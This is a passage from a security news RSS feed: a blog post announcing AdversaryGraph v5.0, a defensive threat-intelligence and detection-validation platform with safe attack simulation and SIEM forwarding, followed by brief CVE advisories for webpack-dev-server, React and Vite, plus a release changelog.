is wrong, the rule will not match.</p><p>If the test event is too synthetic, the validation result is misleading.</p><p>If the ATT&amp;CK mapping is not tied back to evidence, the report becomes hard to defend.</p><p>AdversaryGraph v5.0 focuses on this full chain.</p><h3>What AdversaryGraph Is</h3><p>AdversaryGraph is a self-hosted CTI-to-detection platform. It combines a public research interface with a Docker-based private platform.</p><p>The public site is useful for exploration: ATT&amp;CK matrix navigation, group research, public technique context, and project documentation.</p><p>The self-hosted platform is where private work belongs: AI-assisted report analysis, stored investigations, IOC enrichment, malware-analysis workflows, asset inventories, attack simulation, SIEM validation, and API-driven workflows.</p><p>The high-level workflow is:</p><ol><li><strong>Ingest</strong> reports, logs, IOCs, malware findings, asset inventory, or feed data.</li><li><strong>Map</strong> behaviors to ATT&amp;CK with evidence and confidence.</li><li><strong>Enrich</strong> IOCs, actors, campaigns, malware families, and references.</li><li><strong>Validate</strong> coverage using lab telemetry and SIEM forwarding.</li><li><strong>Report</strong> findings in analyst-ready form.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sMubTyaMt5F9zU2t.png"></figure><h3>Core Capabilities Before v5.0</h3><p>Release 5.0 builds on a broader platform. The major existing modules are still part of the release and matter because Attack Simulation is designed to connect to them.</p><p><strong>All capabilities here:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/capabilities/">Platform Capabilities | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><h4>AI-Assisted ATT&amp;CK Mapping</h4><p>Analysts can paste text or upload reports and ask the configured LLM provider to extract ATT&amp;CK candidates. The platform supports multiple provider options, including Claude, OpenAI, Gemini, MiniMax, and local OpenAI-compatible gateways.</p><p>The important part is not simply “ask AI for TTPs.” The useful part is that mappings are treated as analyst-assistance data:</p><ul><li>Techniques are shown with evidence.</li><li>Confidence is visible.</li><li>Output can be reviewed before operational use.</li><li>Extracted TTPs can be pushed into the Navigator.</li><li>Results can be compared with groups, campaigns, and stored reports.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YMWb4u7m0Ogpsb6T.png"></figure><h4>ATT&amp;CK Navigator and Group Context</h4><p>The Navigator is the central workspace for technique review. It supports Enterprise, Mobile, ICS, and ATLAS-style workflows. Analysts can search techniques, build layers, overlay group context, import/export layers, and move selected TTPs into comparison and reporting workflows.</p><p>This matters because many teams already think in ATT&amp;CK, but their toolchain is split between reports, spreadsheets, diagrams, SIEM rules, and ticketing systems. AdversaryGraph tries to keep the matrix connected to the rest of the investigation.</p><h4>Group, Campaign, and Report Similarity</h4><p>AdversaryGraph uses TTP overlap as a way to generate hypotheses. It compares selected behavior against ingested group profiles, campaigns, and stored report libraries.</p><p>This is intentionally framed as similarity, not attribution.</p><p>TTP overlap can help prioritize research. It can suggest which actor profiles or campaigns deserve review. It is not proof that a specific actor is responsible for an intrusion.</p><h4>IOC Investigation</h4><p>The IOC workflow lets analysts pivot from observable data into reputation and relationship context. IPs, domains, URLs, hashes, and other observables can be investigated with feed context and ATT&amp;CK leads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SHhDv7Qw2exVtviQ.png"></figure><h4>Malware Analysis</h4><p>The Malware Analysis module connects static triage, hash checks, unpacking, strings, decompilation/debug views, runtime-gated analysis, and AI summaries back to the CTI workflow.</p><p>The point is not to replace a reverse engineer. The point is to help analysts preserve malware-derived evidence and map it into ATT&amp;CK, IOCs, and investigation outputs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W0QBOK9La3Q3mirM.png"></figure><h4>Asset Attack-Surface Mapping</h4><p>AdversaryGraph can ingest asset inventory input, normalize assets, score exposure, propose likely entry points, and map asset-driven ATT&amp;CK candidates.</p><p>This is useful when the question is not “what did the attacker do?” but “what could an attacker realistically try against my exposed environment?”</p><p>Examples:</p><ul><li>Public web applications.</li><li>VPN and identity services.</li><li>Exposed admin panels.</li><li>Cloud assets.</li><li>Remote management services.</li><li>High-value internal systems.</li><li>Scanner and CMDB exports.</li></ul><h3>What Is New in v5.0</h3><p>The headline feature is <strong>Attack Simulation</strong>.</p><p>Attack Simulation is designed for defensive validation and detection engineering. It lets analysts work from a TTP-first interface, run safe simulations, inspect telemetry, and forward events to a SIEM.</p><p>This is not an exploitation framework. It does not run malware. It does not execute arbitrary commands against arbitrary user targets. It is a controlled validation workspace for authorized lab scenarios and source-shaped telemetry drills.</p><p>The v5.0 release adds:</p><ul><li>A new Attack Simulation workspace.</li><li>ATT&amp;CK-style matrix selection for runnable simulations.</li><li>Dedicated configuration pages per selected TTP.</li><li>Built-in lab web target for web-focused scenarios.</li><li>Target-side real-time log viewing.</li><li>SIEM forwarding to HTTP(S) collectors.</li><li>Saved recent SIEM destinations.</li><li>AI Attack Assistant.</li><li>“Challenge Me” mode.</li><li>Complicated multi-source attack-chain scenarios.</li><li>25 named coherent scenario templates.</li><li>Attack-chain graph.</li><li>Explain Attack panel.</li><li>Source-shaped Windows, Sysmon, EDR, DNS, proxy, firewall, web, and WAF event generation for SIEM parser and rule validation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6nP-gwkSId3d917_.png"></figure><h3>TTP-First Simulation Workflow</h3><p>The workflow starts with the ATT&amp;CK matrix.</p><p>Runnable simulation cells are visible directly in the matrix, and related TTP pages can link back into the simulation workflow. This keeps the analyst oriented around ATT&amp;CK instead of hiding simulations behind unrelated forms.</p><p>The basic flow is:</p><ol><li>Open Attack Simulation.</li><li>Choose a TTP from the matrix.</li><li>Open the dedicated simulation page.</li><li>Review what the scenario does.</li><li>Review telemetry source and event structure.</li><li>Run the lab scenario or AI-assisted telemetry drill.</li><li>Inspect logs in real time.</li><li>Forward selected logs to the SIEM.</li><li>Confirm whether detections fired.</li><li>Record validation gaps.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1RZJyK6gkRejmuv0.png"></figure><p>Each scenario explains:</p><ul><li>What happens.</li><li>What adversary behavior is represented.</li><li>Which system emits telemetry.</li><li>Which event structures are expected.</li><li>What the detection should focus on.</li><li>Which telemetry is production-like and which is a lab canary.</li><li>What the validation gaps are.</li></ul><p>That explanation is important. A simulation without context is just noise. A simulation with context becomes a detection-engineering exercise.</p><h3>Real Lab Telemetry for Web Scenarios</h3><p>One major design goal was to avoid fake “log generation” for web scenarios where a real lab target can safely produce logs.</p><p>For web-focused simulations, the Docker deployment includes an attack-lab-web target. The AdversaryGraph API sends real HTTP requests to that lab web server over the Docker network. The target server writes its own logs.</p><p>The analyst can then inspect real target-side telemetry such as:</p><ul><li>NGINX access logs.</li><li>NGINX error logs.</li><li>Application authentication logs.</li><li>WAF/security-style logs.</li><li>Structured web JSONL telemetry.</li><li>Run-specific JSONL logs.</li><li>Merged attacked-server events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*CPDdyF-3kyqCleFB.png"></figure><p>This is different from simply printing a row that looks like an access log. The request is sent to the lab server, and the server emits the log.</p><p>Supported web-focused scenarios include:</p><ul><li>HTTP and TLS service fingerprinting.</li><li>Public application probing.</li><li>Path discovery.</li><li>Sensitive file and configuration path access.</li><li>Directory traversal canaries.</li><li>SQL injection-shaped requests.</li><li>XSS-shaped requests.</li><li>SSRF-shaped requests.</li><li>Command-injection-shaped requests.</li><li>Web-shell access canaries.</li><li>Upload and download scenarios.</li><li>Failed-login flows.</li><li>Brute-force patterns.</li><li>Password spray.</li><li>User enumeration.</li><li>Beacon-like web traffic.</li><li>Exfiltration-shaped traffic.</li></ul><p>The key phrase is “attack-shaped canary.” The goal is to generate realistic defensive telemetry without exploiting a real target or executing harmful payloads.</p><h3>SIEM Forwarding</h3><p>Validation is incomplete if the event never reaches the SIEM.</p><p>The v5.0 SIEM forwarding panel sends selected Attack Simulation telemetry to HTTP(S) collectors. This can be used with Logstash HTTP input, Splunk HEC-style collectors, XpoLog/Logeye listeners, or custom webhook receivers.</p><p>Supported controls include:</p><ul><li>Full URL or raw host:port/path destination.</li><li>Direct destination mode.</li><li>Docker host gateway routing.</li><li>Automatic route selection.</li><li>Raw original line per request.</li><li>JSON event per request.</li><li>JSON Lines.</li><li>Batch envelope.</li><li>No auth.</li><li>Bearer token auth.</li><li>Token auth.</li><li>Basic auth.</li><li>Custom token header.</li><li>Source selection: access, auth, endpoint, WAF/security, error, structured JSONL, run JSONL, or all attacked-server events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*DYOx-cPX4OK1g66v.png"></figure><p>The platform also keeps the last 10 non-secret SIEM destinations for reuse. This is useful during repeated parser testing, rule tuning, and dashboard validation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*vpv4bXcWuUgvV4Hx.png"></figure><p>Credentials are not stored as part of the saved destination history. The saved address is intended to reduce typing friction, not to become a secret store.</p><h3>AI Attack Assistant</h3><p>The AI Attack Assistant is one of the main additions in v5.0.</p><p>It helps generate detection-engineering drills by building correlated telemetry stories around selected behavior.</p><p>The assistant supports three modes:</p><ol><li><strong>Selected TTP</strong>: generate a focused validation flow around the technique currently selected in the Attack Simulation page.</li><li><strong>Threat actor</strong>: generate a scenario inspired by a threat actor’s known behavior and ATT&amp;CK profile.</li><li><strong>Challenge Me</strong>: generate a blind multi-phase detection challenge for the analyst.</li></ol><p>There is also a <strong>Complicated attack</strong> option. When enabled, the assistant builds longer multi-source flows across telemetry types such as:</p><ul><li>Windows Security Event Log.</li><li>Sysmon.</li><li>EDR process and file telemetry.</li><li>DNS logs.</li><li>Proxy logs.</li><li>Firewall traffic logs.</li><li>Web access logs.</li><li>WAF/security logs.</li><li>Authentication logs.</li></ul><p>The goal is not to normalize everything into one generic schema. For complicated scenarios, the assistant should preserve source/vendor-shaped event patterns so the SIEM parser and rule logic are tested more realistically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R2jz_jH_4T-N9__R.png"></figure><h3>Coherent Kill Chains, Not Random Events</h3><p>A detection drill should not be a random list of suspicious events.</p><p>In v5.0, complicated scenarios are built as coherent attack chains. The chain has ordered phases, each phase has a reason, and each phase emits events that should correlate with the surrounding activity.</p><p>For example, a password-spray-to-foothold scenario may include:</p><ol><li>Username enumeration.</li><li>Multiple failed authentication attempts.</li><li>One successful logon after failures.</li><li>Endpoint discovery from the authenticated host.</li><li>Suspicious tool transfer.</li><li>Persistence or lateral discovery.</li></ol><p>That is much more useful than a single failed-login event.</p><p>The Attack Chain Graph makes this visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-bkB_LbIx9r5Ro35.png"></figure><p>Each phase can show:</p><ul><li>Phase number.</li><li>ATT&amp;CK technique.</li><li>Telemetry source.</li><li>Event format.</li><li>Event count.</li><li>Detection goal.</li><li>Supporting tags.</li></ul><p>This helps the analyst understand whether the generated activity is a plausible kill chain or just a bag of indicators.</p><h3>Explain Attack</h3><p>When “Challenge Me” or a complex AI-generated scenario is used, the platform includes an <strong>Explain Attack</strong> action.</p><p>This panel explains:</p><ul><li>What the scenario is trying to simulate.</li><li>Why each phase appears in the chain.</li><li>Which telemetry sources matter.</li><li>What the analyst should search for.</li><li>What detections should fire.</li><li>Which false positives or tuning points should be considered.</li><li>What success criteria should be used.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H7lfS2NaR1B5hvEV.png"></figure><p>This is useful for training and validation. It turns generated events into an exercise that a SOC analyst, detection engineer, or CTI analyst can actually follow.</p><h3>Named Scenario Library</h3><p>Release 5.0 includes a library of named coherent scenarios.</p><p>Examples include:</p><ul><li>Web App to Endpoint Compromise.</li><li>Password Spray to Valid Account Foothold.</li><li>SQL Injection to Data Theft.</li><li>Recon to Web Shell Persistence.</li><li>Valid Account to LSASS Access.</li><li>Password Spray to Exfiltration.</li><li>XSS Canary to Session Abuse.</li><li>SSRF Metadata Probe to C2.</li><li>Ransomware Precursor Chain.</li><li>Living-off-the-Land Transfer and Execution.</li><li>Internal Discovery After Foothold.</li><li>Web Enumeration to Password Spray.</li><li>Public App Exploit to Persistence.</li><li>Credential Dump to Cloud Upload.</li><li>Signed Binary Proxy to C2.</li><li>FIN7-style web, identity, and persistence flow.</li><li>APT29-style identity and PowerShell flow.</li><li>Lazarus-style delivery and exfiltration flow.</li><li>Noisy red-team drill.</li><li>Stealthy low-volume intrusion chain.</li><li>WAF bypass retry chain.</li><li>Service account abuse.</li><li>External recon to credential access.</li><li>C2 telemetry validation.</li><li>Persistence control validation.</li></ul><p>These are not meant to prove that a real actor attacked you. They are templates for detection validation and training. They help answer questions like:</p><ul><li>Does my SIEM parse this source?</li><li>Does my correlation rule see the sequence?</li><li>Does the detection alert only on one event or on the chain?</li><li>Can analysts reconstruct the story from logs?</li><li>Which telemetry source is missing?</li><li>Where do false positives appear?</li></ul><h3>Safety Boundaries</h3><p>Attack Simulation must be safe by design.</p><p>The v5.0 module follows several boundaries:</p><ul><li>It does not execute malware.</li><li>It does not run arbitrary commands.</li><li>It does not exploit arbitrary external targets.</li><li>Web simulation traffic is limited to predefined benign canaries against the local lab target.</li><li>SIEM forwarding sends generated Attack Simulation telemetry.</li><li>Unsafe URL schemes and metadata/link-local destinations are blocked.</li><li>Credentials used for forwarding are used only for the current request and are not stored.</li></ul><p>This matters because the target user is a defender. The feature is built for detection engineering, parser validation, SOC drills, and authorized lab workflows.</p><h3>How This Fits Detection Engineering</h3><p>Detection engineering is not only writing rules. It is a lifecycle:</p><ol><li>Understand the adversary behavior.</li><li>Map it to ATT&amp;CK or another behavior model.</li><li>Identify required telemetry.</li><li>Confirm that telemetry exists.</li><li>Confirm that parsing works.</li><li>Write detection logic.</li><li>Test the logic with realistic events.</li><li>Tune false positives.</li><li>Document assumptions and gaps.</li><li>Re-test when infrastructure or parsers change.</li></ol><p>AdversaryGraph v5.0 tries to support this lifecycle directly.</p><p>The CTI modules help with steps 1 and 2.</p><p>IOC and malware modules help enrich the investigation context.</p><p>Asset attack-surface mapping helps identify relevant entry points.</p><p>Attack Simulation helps with steps 3 through 8.</p><p>Reports and docs help with steps 9 and 10.</p><h3>Architecture Overview</h3><p>The self-hosted platform is built around a browser frontend and API backend.</p><p>At a high level:</p><ul><li>Frontend: React/Vite user interface.</li><li>Backend: FastAPI service.</li><li>Database: PostgreSQL for stored investigations and platform data.</li><li>Background jobs: Redis/Celery where needed.</li><li>ATT&amp;CK data: synchronized from MITRE sources.</li><li>AI providers: operator-configured providers such as Claude, OpenAI, Gemini, MiniMax, or local OpenAI-compatible services.</li><li>Malware workflow: MalwareGraph-backed analysis components.</li><li>Attack lab: Docker-based target services for controlled telemetry generation.</li><li>SIEM forwarding: HTTP(S) delivery to configured collectors.</li></ul><p>For the v5.0 web simulation flow, the important architectural distinction is:</p><p>AdversaryGraph does not simply invent an access log line for the UI. It sends real HTTP requests to the lab web target, and the lab web target emits server-side logs.</p><p>For AI-generated complicated scenarios, the goal is different. The assistant generates source-shaped telemetry for SIEM parser and detection validation. This is not proof of compromise, and it is not a replacement for live lab execution. It is a defensive validation tool for testing ingestion, parsers, correlation, dashboards, and analyst workflows.</p><h3>Example Use Case: Password Spray Detection</h3><p>A common detection engineering task is password spray validation.</p><p>The analyst wants to know:</p><ul><li>Do we ingest authentication failures?</li><li>Are usernames parsed correctly?</li><li>Can we count failures across many users?</li><li>Can we detect one source trying one password against many accounts?</li><li>Can we correlate a later successful login?</li><li>Can we connect the successful login to endpoint activity?</li></ul><p>With AdversaryGraph v5.0, the workflow becomes:</p><ol><li>Select a credential-access or brute-force related TTP.</li><li>Choose the password spray scenario.</li><li>Run the lab or AI-assisted flow.</li><li>Observe authentication-related events.</li><li>Forward the events to the SIEM.</li><li>Confirm the parser.</li><li>Confirm the rule.</li><li>Review the chain graph.</li><li>Use Explain Attack to document what should have happened.</li><li>Record gaps.</li></ol><p>The important part is the chain. A single 4625-like event is not enough. A realistic validation should include many failures, many users, timing, source consistency, and possibly one later success.</p><h3>Example Use Case: Web Recon to Exploit-Shaped Telemetry</h3><p>For a web application detection scenario, the analyst may want to test:</p><ul><li>Path discovery.</li><li>Sensitive file probing.</li><li>SQL injection-shaped requests.</li><li>XSS-shaped requests.</li><li>SSRF-shaped requests.</li><li>WAF canary classification.</li><li>Access-log parser behavior.</li><li>SIEM dashboards for web attacks.</li></ul><p>AdversaryGraph can run approved web canaries against the lab web target, then show the real target-side logs in the UI.</p><p>This lets the detection engineer validate more than a rule. It validates whether the web tier emits usable logs and whether the SIEM receives enough context to detect the behavior.</p><h3>Example Use Case: Malware Findings to Detection Validation</h3><p>The malware module can produce findings such as:</p><ul><li>Suspicious imports.</li><li>Strings.</li><li>Packed sample indicators.</li><li>Function-level behavior.</li><li>Potential IOCs.</li><li>ATT&amp;CK candidates.</li><li>AI-assisted summaries.</li></ul><p>Those findings can feed detection engineering:</p><ul><li>Which API calls should we monitor?</li><li>Which command lines or process patterns matter?</li><li>Which persistence mechanisms appear?</li><li>Which network indicators are useful?</li><li>Which behaviors should become validation scenarios?</li></ul><p>AdversaryGraph’s value is that malware findings do not stay isolated in a reverse-engineering note. They can be connected back to ATT&amp;CK and validation planning.</p><h3>Example Use Case: Asset Inventory to Attack Surface</h3><p>Asset inventories often live in spreadsheets, CMDB exports, or scanner output. The security team may know what exists, but not how to translate that into likely ATT&amp;CK entry points.</p><p>The Asset Attack Surface module helps with:</p><ul><li>Normalizing assets.</li><li>Identifying exposed services.</li><li>Scoring exposure.</li><li>Mapping likely entry points.</li><li>Proposing ATT&amp;CK candidates.</li><li>Creating saved cases.</li></ul><p>This connects directly to Attack Simulation because a high-risk public web application or VPN service should map to validation scenarios around external discovery, exploitation attempts, credential attacks, and logging coverage.</p><h3>What This Release Is Not</h3><p>It is important to define what v5.0 is not.</p><p>It is not an autonomous attack platform.</p><p>It is not a malware execution system.</p><p>It is not a replacement for a full cyber range.</p><p>It is not attribution proof.</p><p>It is not a guarantee that a detection works in production.</p><p>It is an analyst-assistance and validation platform. Its output should be reviewed by qualified analysts and detection engineers before operational use.</p><h3>What Makes v5.0 Different</h3><p>The main difference is the connection between CTI and validation.</p><p>Many tools stop at one of these points:</p><ul><li>Visualize ATT&amp;CK.</li><li>Extract TTPs.</li><li>Store IOCs.</li><li>Generate sample logs.</li><li>Run a lab attack.</li><li>Forward events.</li></ul><p>AdversaryGraph tries to connect these into one workflow:</p><ol><li>Understand the behavior.</li><li>Map it.</li><li>Enrich it.</li><li>Simulate it safely.</li><li>Observe telemetry.</li><li>Send it to the SIEM.</li><li>Explain what happened.</li><li>Document what passed and what failed.</li></ol><p>That is the direction I want the platform to continue moving.</p><h3>Getting Started</h3><p>If you want to explore the public interface:</p><p><a href="https://1200km.com/threat-matrix/">AdversaryGraph Web - Public ATT&amp;CK Workspace for AdversaryGraph | 1200km</a></p><p><strong>If you want the full private platform:</strong></p><pre>git clone https://github.com/anpa1200/adversarygraph.git<br>cd adversarygraph<br>cp .env.example .env<br>docker compose up</pre><p><strong>Then open:</strong></p><pre>http://localhost:3000</pre><p><strong>Read the full documentation here:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/">AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><p><strong>Attack Simulation guide:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/attack-simulation/">Attack Simulation | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><p><strong>Project page:</strong></p><p><a href="https://1200km.com/adversarygraph/">AdversaryGraph AI - CTI-to-Detection Platform</a></p><p><strong>GitHub release:</strong></p><p><a href="https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0">Release AdversaryGraph v5.0.0 · anpa1200/adversarygraph</a></p><h3>Final Thoughts</h3><p>AdversaryGraph v5.0 is a step toward a more complete CTI-to-detection workflow.</p><p>The platform is still built around a simple idea: intelligence should not end as a static report. It should become a mapped, enriched, validated, and explainable defensive workflow.</p><p>With Attack Simulation, SIEM forwarding, real lab telemetry, AI-assisted scenario generation, and attack-chain explanation, v5.0 moves AdversaryGraph closer to that goal.</p><p>The next challenge is to continue improving realism: more telemetry sources, more lab targets, better parser validation, stronger scenario libraries, and deeper connections between malware analysis, asset exposure, and detection engineering.</p><p>If you work in CTI, SOC operations, detection engineering, malware analysis, or purple-team validation, I would be glad to hear feedback.</p><p>Project:</p><p><a href="https://github.com/anpa1200/adversarygraph">https://github.com/anpa1200/adversarygraph</a></p><p>Documentation:</p><p><a href="https://1200km.com/adversarygraph-docs/">https://1200km.com/adversarygraph-docs/</a></p><p>Live workspace:</p><p><a href="https://1200km.com/threat-matrix/">AdversaryGraph Web - Public ATT&amp;CK Workspace for AdversaryGraph | 1200km</a></p><p>Main page:</p><p><a href="https://1200km.com/">Andrey Pautov - CTI &amp; Detection Engineering</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=21873b2a6c39" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39">AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14631 | webpack-dev-server up to 5.2.5 WebSocket Upgrade denial of service (EUVD-2026-41559)]]></title>
<description><![CDATA[A vulnerability was found in webpack-dev-server up to 5.2.5. It has been declared as problematic. This affects an unknown part of the component WebSocket Upgrade Handler. The manipulation results in denial of service.

This vulnerability was named CVE-2026-14631. The attack may be performed from ...]]></description>
<link>https://tsecurity.de/de/3644395/sicherheitsluecken/cve-2026-14631-webpack-dev-server-up-to-525-websocket-upgrade-denial-of-service-euvd-2026-41559/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644395/sicherheitsluecken/cve-2026-14631-webpack-dev-server-up-to-525-websocket-upgrade-denial-of-service-euvd-2026-41559/</guid>
<pubDate>Fri, 03 Jul 2026 23:09:15 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/webpack-dev-server">webpack-dev-server up to 5.2.5</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown part of the component <em>WebSocket Upgrade Handler</em>. The manipulation results in denial of service.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-14631">CVE-2026-14631</a>. The attack may be performed from remote. There is no available exploit.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14620 | webpack-dev-server up to 5.2.5 GET Request open-editor cross-site request forgery (GHSA-f5vj-f2hx-8m93 / EUVD-2026-41558)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in webpack-dev-server up to 5.2.5. The impacted element is an unknown function of the file /webpack-dev-server/open-editor of the component GET Request Handler. The manipulation results in cross-site request forgery.

This vulnerability is repor...]]></description>
<link>https://tsecurity.de/de/3644391/sicherheitsluecken/cve-2026-14620-webpack-dev-server-up-to-525-get-request-open-editor-cross-site-request-forgery-ghsa-f5vj-f2hx-8m93-euvd-2026-41558/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644391/sicherheitsluecken/cve-2026-14620-webpack-dev-server-up-to-525-get-request-open-editor-cross-site-request-forgery-ghsa-f5vj-f2hx-8m93-euvd-2026-41558/</guid>
<pubDate>Fri, 03 Jul 2026 23:09:10 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/webpack-dev-server">webpack-dev-server up to 5.2.5</a>. The impacted element is an unknown function of the file <em>/webpack-dev-server/open-editor</em> of the component <em>GET Request Handler</em>. The manipulation results in cross-site request forgery.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-14620">CVE-2026-14620</a>. The attack can be launched remotely. No exploit exists.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[javascript: v0.5.0]]></title>
<description><![CDATA[0.5.0 (2026-07-01)
⚠ BREAKING CHANGES

voice: the EL adapter's SDK migration removes the public WebSocketLike test-seam type (superseded by the SDK's own WebSocketFactory). Niche, but note it for the version bump.

Bug Fixes

security: raise vite 8.x floor to >=8.0.16 across scenario workspaces (...]]></description>
<link>https://tsecurity.de/de/3638654/it-security-tools/javascript-v050/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638654/it-security-tools/javascript-v050/</guid>
<pubDate>Wed, 01 Jul 2026 15:34:03 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/javascript/v0.4.15...javascript/v0.5.0">0.5.0</a> (2026-07-01)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li><strong>voice:</strong> the EL adapter's SDK migration removes the public <code>WebSocketLike</code> test-seam type (superseded by the SDK's own WebSocketFactory). Niche, but note it for the version bump.</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong>security:</strong> raise vite 8.x floor to &gt;=8.0.16 across scenario workspaces (<a href="https://github.com/langwatch/scenario/issues/709" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/709/hovercard">#709</a>) (<a href="https://github.com/langwatch/scenario/commit/42d877ed4b187b3a7478f38f6efdce932cb696d9">42d877e</a>)</li>
<li><strong>voice:</strong> real voice-in by default for hosted ElevenLabs ConvAI (<a href="https://github.com/langwatch/scenario/issues/707" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/707/hovercard">#707</a>) (<a href="https://github.com/langwatch/scenario/commit/267426b06d95b3242a56fc6f4383df01bf457bd6">267426b</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-23864 | Meta react-server-dom-webpack up to 19.0.3/19.1.4/19.2.3 React Server deserialization]]></title>
<description><![CDATA[A vulnerability was found in Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel up to 19.0.3/19.1.4/19.2.3. It has been declared as critical. This affects an unknown part of the component React Server Component. The manipulation results in deserialization.

This...]]></description>
<link>https://tsecurity.de/de/3636796/sicherheitsluecken/cve-2026-23864-meta-react-server-dom-webpack-up-to-190319141923-react-server-deserialization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636796/sicherheitsluecken/cve-2026-23864-meta-react-server-dom-webpack-up-to-190319141923-react-server-deserialization/</guid>
<pubDate>Tue, 30 Jun 2026 22:23:45 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/meta:react-server-dom-webpack">Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel up to 19.0.3/19.1.4/19.2.3</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. This affects an unknown part of the component <em>React Server Component</em>. The manipulation results in deserialization.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-23864">CVE-2026-23864</a>. The attack may be launched remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Webentwicklung: Vite 8.1 soll große Anwendungen beschleunigen]]></title>
<description><![CDATA[Ein experimenteller neuer Modus des Frontend-Build-Tools soll die Performance großer Anwendungen verbessern.]]></description>
<link>https://tsecurity.de/de/3620585/it-nachrichten/webentwicklung-vite-81-soll-grosse-anwendungen-beschleunigen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620585/it-nachrichten/webentwicklung-vite-81-soll-grosse-anwendungen-beschleunigen/</guid>
<pubDate>Wed, 24 Jun 2026 10:02:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein experimenteller neuer Modus des Frontend-Build-Tools soll die Performance großer Anwendungen verbessern.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-53571 | vitejs vite up to 6.4.2/7.3.4/8.0.15 Compatibility path traversal (GHSA-fx2h-pf6j-xcff / EUVD-2026-38303)]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in vitejs vite up to 6.4.2/7.3.4/8.0.15. The affected element is an unknown function of the component Compatibility Handler. The manipulation results in path traversal.

This vulnerability is cataloged as CVE-2026-53571. The attack may be launche...]]></description>
<link>https://tsecurity.de/de/3616684/sicherheitsluecken/cve-2026-53571-vitejs-vite-up-to-6427348015-compatibility-path-traversal-ghsa-fx2h-pf6j-xcff-euvd-2026-38303/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616684/sicherheitsluecken/cve-2026-53571-vitejs-vite-up-to-6427348015-compatibility-path-traversal-ghsa-fx2h-pf6j-xcff-euvd-2026-38303/</guid>
<pubDate>Mon, 22 Jun 2026 23:23:45 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/vitejs:vite">vitejs vite up to 6.4.2/7.3.4/8.0.15</a>. The affected element is an unknown function of the component <em>Compatibility Handler</em>. The manipulation results in path traversal.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-53571">CVE-2026-53571</a>. The attack may be launched remotely. There is no exploit available.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[Web Development Tools – 8 innovative Optionen]]></title>
